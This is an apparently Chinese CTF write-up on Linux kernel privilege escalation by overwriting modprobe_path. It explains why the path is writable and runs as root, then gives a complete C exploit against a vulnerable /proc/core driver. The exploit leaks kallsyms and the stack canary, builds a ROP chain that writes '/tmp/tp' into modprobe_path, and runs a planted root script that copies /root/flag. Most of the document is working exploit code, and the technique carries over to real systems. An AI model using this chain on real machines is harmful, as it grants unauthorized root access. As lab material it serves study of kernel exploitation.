Kernel Pwn Overwirte modprobe_path

modprobe 是一个程序, 用于安装或者卸载内核模块. 内核在某些情况下会调用这个程序. 不过, modprobe 路径存在变量 modprobe_path 中, 默认是 /sbin/modprobe. 同时这个地址是可写的.

当调用 execve syscall 执行程序时, 如果系统不认识这个文件的魔数, 那么内核将会执行如下调用链:

do_execve() -> do_execveat_common() -> bprm_execve() -> exec_binprm() -> search_binary_handler() -> request_module() -> call_modprobe()

其中, call_modprobe() 关键代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static int call_modprobe(char *module_name, int wait)
{
    // ...
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;
    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
           NULL, free_modprobe_argv, NULL);
    // ...
    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    // ...
}

这个函数会到用户态去执行程序, 并且其权限是 root. 所以只要劫持 modprobe_path, 然后创建一个系统不认识的文件并执行, 就可以以 root 权限执行任意程序 / shell 脚本了. 需要注意要给两个程序 x 权限, 否则无法执行.

modprobe_path 这个符号可能在 kallsyms 里没有, 但是可以翻一下源码, 看哪个函数调用了它, 比如 __request_module, 然后去看汇编, 就能够找到了.

这个方法在开了 FG-KASLR 时很有用, 因为 modprobe_path 在数据段, 不受 FG-KASLR 的影响. 而返回用户态的函数 swapgs_restore_regs_and_return_to_usermode 在 trampline page, 也不受影响.

题目之前分析过了, 略掉. 找一些 gadget: mov [reg1], reg2; ret, pop reg1/reg2; ret, ROP 链就可以任意地址写了. 修改完 modprobe_path 后还要返回用户态执行.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    user_sp += 8;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t off, swapgs_restore_regs_and_return_to_usermode;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
            swapgs_restore_regs_and_return_to_usermode = addr;
            off = addr - 0xffffffff81a008da;
            printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
            swapgs_restore_regs_and_return_to_usermode += 22;
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void get_flag() {
    success("Backing from the kernelspace.\n");
    system("echo -ne \"\xff\\xff\\xff\\xff\" > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("echo \"#!/bin/sh\" >> /tmp/tp");
    system("echo \"cp /root/flag /tmp/flag && chmod a+r /tmp/flag\" >> /tmp/tp");
    system("chmod +x /tmp/tp");
    execve("/tmp/dummy", NULL, NULL);
    system("cat /tmp/flag");
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t modprobe_path        = off + 0xffffffff8223d8c0;
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_qword_rdx_rdi    = off + 0xffffffff812fe0b8;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;

    union {
        char str[0x8];
        size_t num;
    } name;
    name.num = 0;
    strcpy(name.str, "/tmp/tp");

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = name.num;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = modprobe_path;
    rop[cur++] = mov_qword_rdx_rdi;
    rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
    rop[cur++] = 0;
    rop[cur++] = 0;
    rop[cur++] = (size_t) get_flag;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    // signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}